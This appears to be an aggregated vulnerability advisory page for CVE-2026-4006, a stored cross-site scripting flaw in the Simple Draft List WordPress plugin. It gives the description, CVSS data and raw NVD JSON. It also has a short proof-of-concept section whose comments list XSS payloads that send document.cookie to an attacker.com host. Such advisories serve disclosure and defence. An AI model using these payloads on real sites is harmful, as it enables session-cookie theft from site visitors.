Security Vulnerability Report
中文
CVE-2026-4006 CVSS 6.4 MEDIUM

CVE-2026-4006

Published: 2026-03-19 07:16:00
Last Modified: 2026-04-22 21:32:08

Description

The Simple Draft List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'display_name' post meta (Custom Field) in all versions up to and including 2.6.2. This is due to insufficient input sanitization and output escaping on the author display name when no author URL is present. The plugin accesses `$draft_data->display_name` which, because `display_name` is not a native WP_Post property, triggers WP_Post::__get() and resolves to `get_post_meta($post_id, 'display_name', true)`. When the `user_url` meta field is empty, the `$author` value is assigned to `$author_link` on line 383 without any escaping (unlike line 378 which uses `esc_html()` for the `{{author}}` tag, and line 381 which uses `esc_html()` when a URL is present). This unescaped value is then inserted into the shortcode output via `str_replace()`. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the `[drafts]` shortcode with the `{{author+link}}` template tag.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Draft List插件 < 2.6.2
Simple Draft List插件 = 2.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-4006 PoC - Simple Draft List Stored XSS # Attack Vector: Inject malicious JavaScript via display_name custom field # Step 1: Set malicious display_name in post meta import requests target_url = "http://target-wordpress-site.com" # Create/update post with malicious display_name payload = { 'display_name': '<script>alert(document.cookie)</script>' } # Using WordPress REST API or meta update # POST /wp-json/wp/v2/posts/{id} post_id = 123 api_endpoint = f"{target_url}/wp-json/wp/v2/posts/{post_id}" # Step 2: Create a page/post with the drafts shortcode shortcode_content = "[drafts author_template='{{author+link}}']" # Step 3: When users visit the page, XSS executes # Payload in display_name is rendered without escaping in author+link # Example malicious payload variations: # <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> # <svg/onload=fetch('http://attacker.com/?d='+btoa(document.cookie))> # <body onload=document.location='https://attacker.com/cookie?c='+document.cookie>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4006", "sourceIdentifier": "[email protected]", "published": "2026-03-19T07:15:59.887", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Draft List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'display_name' post meta (Custom Field) in all versions up to and including 2.6.2. This is due to insufficient input sanitization and output escaping on the author display name when no author URL is present. The plugin accesses `$draft_data->display_name` which, because `display_name` is not a native WP_Post property, triggers WP_Post::__get() and resolves to `get_post_meta($post_id, 'display_name', true)`. When the `user_url` meta field is empty, the `$author` value is assigned to `$author_link` on line 383 without any escaping (unlike line 378 which uses `esc_html()` for the `{{author}}` tag, and line 381 which uses `esc_html()` when a URL is present). This unescaped value is then inserted into the shortcode output via `str_replace()`. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the `[drafts]` shortcode with the `{{author+link}}` template tag."}, {"lang": "es", "value": "El plugin Simple Draft List para WordPress es vulnerable a cross-site scripting almacenado a través del metadato de publicación 'display_name' (Campo Personalizado) en todas las versiones hasta la 2.6.2 inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en el nombre de visualización del autor cuando no hay una URL de autor presente. El plugin accede a `$draft_data-&gt;display_name` lo cual, debido a que `display_name` no es una propiedad nativa de WP_Post, activa WP_Post::__get() y se resuelve a `get_post_meta($post_id, 'display_name', true)`. Cuando el campo meta `user_url` está vacío, el valor de `$author` se asigna a `$author_link` en la línea 383 sin ningún escape (a diferencia de la línea 378 que usa `esc_html()` para la etiqueta `{{author}}`, y la línea 381 que usa `esc_html()` cuando hay una URL presente). Este valor sin escape se inserta luego en la salida del shortcode a través de `str_replace()`. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página que contenga el shortcode `[drafts]` con la etiqueta de plantilla `{{author+link}}`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/tags/2.6.2/inc/create-lists.php#L344", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/tags/2.6.2/inc/create-lists.php#L383", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/trunk/inc/create-lists.php#L344", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-draft-list/trunk/inc/create-lists.php#L383", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3482945%40simple-draft-list&new=3482945%40simple-draft-list&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b5f0dc1a-6b6a-4370-a368-3687cffb43fc?source=cve", "source": "[email protected]"}]}}